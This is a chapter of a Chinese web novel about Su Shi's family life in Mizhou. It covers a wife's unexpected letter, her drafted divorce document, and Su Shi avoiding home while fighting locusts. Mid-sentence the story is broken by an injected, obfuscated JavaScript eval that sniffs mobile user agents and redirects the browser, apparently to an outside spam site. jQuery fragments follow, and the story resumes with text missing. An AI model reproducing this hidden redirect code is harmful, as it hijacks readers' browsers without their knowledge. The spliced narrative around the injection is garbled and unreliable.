81.鸵鸟苏轼

翌日。


从刘府回来倒头就睡的季璋,日上三竿才悠悠转醒。


昨日借着讨教的名头去刘府打听密州的行情,与方月明待了整整一日后,季璋终于明白为何脾气火爆的陶柳会与方月明交好了。


温柔耐心,话虽少却字字入心,如涓涓细流给予旁人足够的踏实感,以及处处能得到回应的肯定感。


她本打算瞧瞧玳姐儿、听听消息,只待半天便回来了。没想到竟也乐不思蜀待了整整一日,甚至还忘了归家的时辰。若不是瞧见从公衙回来的刘通判,她险些就宿在刘府了。


“娘子,杭州的信昨日就送来了。”将温热的洗漱水放在一旁木架上,二宝一边帮自家娘子绾着发,一边回禀着昨日落下的消息。


“送来了?”


涉及钱财一事,迷迷糊糊的季璋瞬间清醒不少,“快拿来我瞧瞧!”


手下的发髻绾好,二宝转身去寻那饮茶矮桌上的物件。瞧着封口被破坏的火漆,她顿时警铃大作,语气严肃道:“娘子,这信好像已经被人拆过了。这信纸,还掉了一张出来。”


“?!我瞧瞧。”季璋起身接过那信,垂眸瞧着单落在信封外信纸上的字迹,一眼便知是家中那个大文豪留下的东西。


十年生死两茫茫···这不就是那首流传千古见证了他与王弗爱情的诗词吗?


只是这东西,怎么会出现在她这个对于他们那段感情而言是外人的院子里,季璋一时只觉自己的脑子不太够用。


她坐在桌旁,并未急着确认信封里的钱是否有少,只是将其反扣在桌上,用有着苏轼字迹的信纸盖在了上面。


“昨日院内谁当值?”


二宝布菜的手一顿,老实交代道:“并未轮值,此事都是交给黄家姊妹的。”


一个是姐姐,一个是妹妹。谁偷懒,另一个补上就是,故而她并未一板一眼地安排。


季璋接过二宝手中布菜的勺,自己给自己盛了一碗粥。热粥冒着腾腾热气,她的声音却陡然冷了下去,“那就都叫来。丑话得说在前面,日后还是白纸黑字地安排好。免得出了事后,在我面前上演‘姐妹情深’。”


“是。”二宝欠身退了出去,须臾之后她带着黄鸢进了屋。


季璋还未开口,刚进屋的黄鸢便软了腿脚“噗通”跪在她面前,抖抖索索不打自招道:“娘子,眼下才起,院内还有许多活儿要忙活,奴晚些才去任妈妈处领罚。奴并没有逃避之意,还请娘子明鉴。”


看来,昨日苏轼的确来过。毕竟这府内除了他之外,无人敢越过她处置她院内的人。


季璋咽下嘴里的粥,慢悠悠舀起下一勺漫不经心吹着气,“昨晚郎君来时发生了何事,你且如实说来。”


黄鸢闻言松了口气,原来不是来兴师问罪的,“昨晚,郎君风尘仆仆拎着一包袱来了院中,坐下想要喝茶时发现桌上是冷茶,就将我训斥了一顿,还让我今日去任妈妈那里领罚。待我换了新茶回来后,人就不在了。”


“他没问起我吗?”季璋未理会她的无辜,又问。


黄鸢老实回道:“问了的。奴如实说娘子去刘府向方娘子讨教种菜一事了。”


没有额外的人员冲突,也没有任何的风言风语刺激,那么唯一的变量只能是这封刚到的信了。


见季璋将下一勺粥送入口中,二宝心领神会地开口将人支走,“你先下去。”


“是。”卖惨没换来季璋的心软,黄鸢这才意识到这位主母并非表面上的平易近人。故而她不敢再多说什么,起身领命弯着腰退出了屋子。


屋内一时只剩下主仆二人,二宝揣摩不透自家娘子的心思,只能直白地问道:“娘子···那要去问问郎君吗?”


“要,不过我一会儿亲自去。”无需端着高深莫测的架子后,季璋几口便解决了手里温热适口的粥,起身朝书案走去。


如季璋所想,信封里的银票数与信封里钱叔字迹的留笔并无出入。六百贯的银票,一张未少。


瞧着端坐在书案前的季璋,二宝一时竟有些拿捏不住是否要研磨,“娘子,可是要给杭州那边回信?”


“不回。”他们给了她如此大一份礼,眼下她却拿不出什么东西回赠。


季璋不假思索回道,下一秒却拿起了毛笔,“不过还是得用墨。”


墨条沾水,在二宝的手下重新化作了墨。松散的毛笔浸满墨汁,瞬间变得服服帖帖。


二宝站在一旁,视线避无可避地落在了季璋面前的宣纸上。


墨迹如鬼爬般扭扭曲曲在白花花的宣纸上留下痕迹,依稀组成了三个字——和离书。


早已开始识字的二宝自然认得这几个字,内心掀起轩然大波。


娘子,这是要离开苏家了吗?


不带她问出口,屋外蓦然传来通报声,打断了二宝的思绪,“娘子,大公子求见。”


“进来。”季璋起身,挪动镇纸将右边刚写下的三个字压得严严实实。


苏迈进屋,朝坐在饮茶矮桌旁的季璋拱手行礼道:“孩儿见过母亲。”


“今儿不是你去学堂的日子吗?”季璋抬手免了他的礼,疑惑道。


今年正逢三年一度的秋闱,书院初七一过就上课了。苏迈今年虽不考,但按理来说今日的这个点也不该出现在这儿。


苏迈解释道:“今日夫子家中有事请假,学生们也因此偷闲一日。”


季璋倒了杯热茶推到他跟前,道:“难得能偷懒,早晨怎不多睡会儿?可是有什么事吗?”


“多谢母亲。”


苏迈吹散热气,象征性地浅抿了一口,然后才娓娓道明来意:“母亲,孩儿想向您要一小厮。”


季璋思索片刻,问道:“顾源吗?”除了他,迈哥儿似乎并未与院内的其他人接触过。


“嗯。”


感受到季璋探究的目光,苏迈继续道:“他是个有学识的。与其让他在您院内屈才当个护院,不如让他给孩儿当伴读。”


季璋垂眸盯着面前茶盏内的茶叶,只见其如展翅翱翔的鸟儿般慢慢舒展着自己的叶片,就像是对面有了自己想法的苏迈,开拓了自己的一番天地。


她道:“我若是没记错,他似乎比你大上几岁···你是想送他入仕途?”


苏迈身边有跟随了多年的书童,如果不是想要顾源参加秋闱,季璋认为没必要多此一举将人要去。


苏迈摇头,“是迨弟听闻他因贫穷辍


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15264295|148825||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


学一事,想给他一次机会。”


“···你自己是怎么想的?”季璋抬眼看向他。顾源过去了是跟着他的,他自个若是被影响了就不好了。


苏迈一早便想好,此刻倒也没有犹豫,道出自己的私心,“孩儿之后也是要考的,身边有个考过的,也能学点经验,何乐而不为?”


父亲是十九岁进京一考成名,他眼下才十六,再沉淀三年也不急。


“那从你院里调个老实些的护院过来。”当事人都同意了,季璋也不再说什么。


“对了,你父亲呢?”


苏迈摇头,“父亲与我不在一个院子,今日还未曾瞧见他。母亲若是着急,我派人去公衙寻父亲。”


“无妨。”


季璋考虑道:“等他回来,派人给我传话便好。”毕竟这文书还没写出来呢,早早寻到人也无济于事。


一夜过后,苏迈并未派人来传话。翌日,季璋拿着新鲜出炉的文书亲自上院蹲守也扑了个空。


再一问,好家伙,直接收拾包袱带着朝云和灵素宿在公衙里了。


上公衙又问,出门走访去了,不知何时才会回来。


·······这不就是明摆着故意躲着她吗?


罢了罢了,他既然已经看出了她的本意,这和离一事迟早会来的。


她与其如望夫石般干等他,还不如一边赚钱一边为着这虽迟但到的结果早做打算。


*


熙宁八年,春季回暖,万物复苏。


深埋地底的蝗虫卵也如雨后春笋般积极化虫,争前恐后从地底爬了出来。


苏轼有之前在钱塘西北灭蝗的经验,加之访问了密州本地的农夫野老后,他主张“火烧”与“用泥深埋”之法灭蝗。同时用官仓之米奖励捕蝗人,以工代赈缓解因干旱蝗灾而出现的饥荒。


此举大获成功,百姓们有粮可吃,不再指望着山上的树根树皮过活儿。山头也得以喘息,响应春日的号召裹上了新绿。


密州,终于有了几分生气。


春末三月,苏轼得闲拉着刘庭式在密州城墙下挖野菜。


刘庭式瞧着前面撅着屁股摘野菜叶子的上司,终于问出了自家娘子委托的问题,“子瞻老弟,你从正月就搬公衙住了。如今一晃眼已经过了两个月了,眼下事情告一段落,你不抽空回家瞧瞧吗?”


原本刚知晓苏轼住公衙时,他还以为是夫妻之间闹小矛盾,故而没有多问。不曾想,这一住就是两个月之久,他也不好再开口。如今终于寻得机会,他定不会辜负自家娘子的嘱托。


苏轼没有回应,默默地将手中抓不下的山菊花叶子放进了脚边的篮子里,然后起身拎着篮子挪到了新位置上。


瞧着他避而不谈的模样,早有预料的刘庭式采取了以退为进的话术,卖惨道:


“你也知道,我家月明与苏大娘子交好。听我家娘子说,苏大娘子已经许久未睡好了,眼下更是彻夜合不了眼。奈何张小娘子擅长的是外科,这失眠也治不了。这下,还真不知如何是好了。”


苏轼闻言果真停下了脚步。


他回头看向刘庭式,黯淡无光的眼中闪过一丝不明的亮光,“得之,你为什么会娶你家娘子?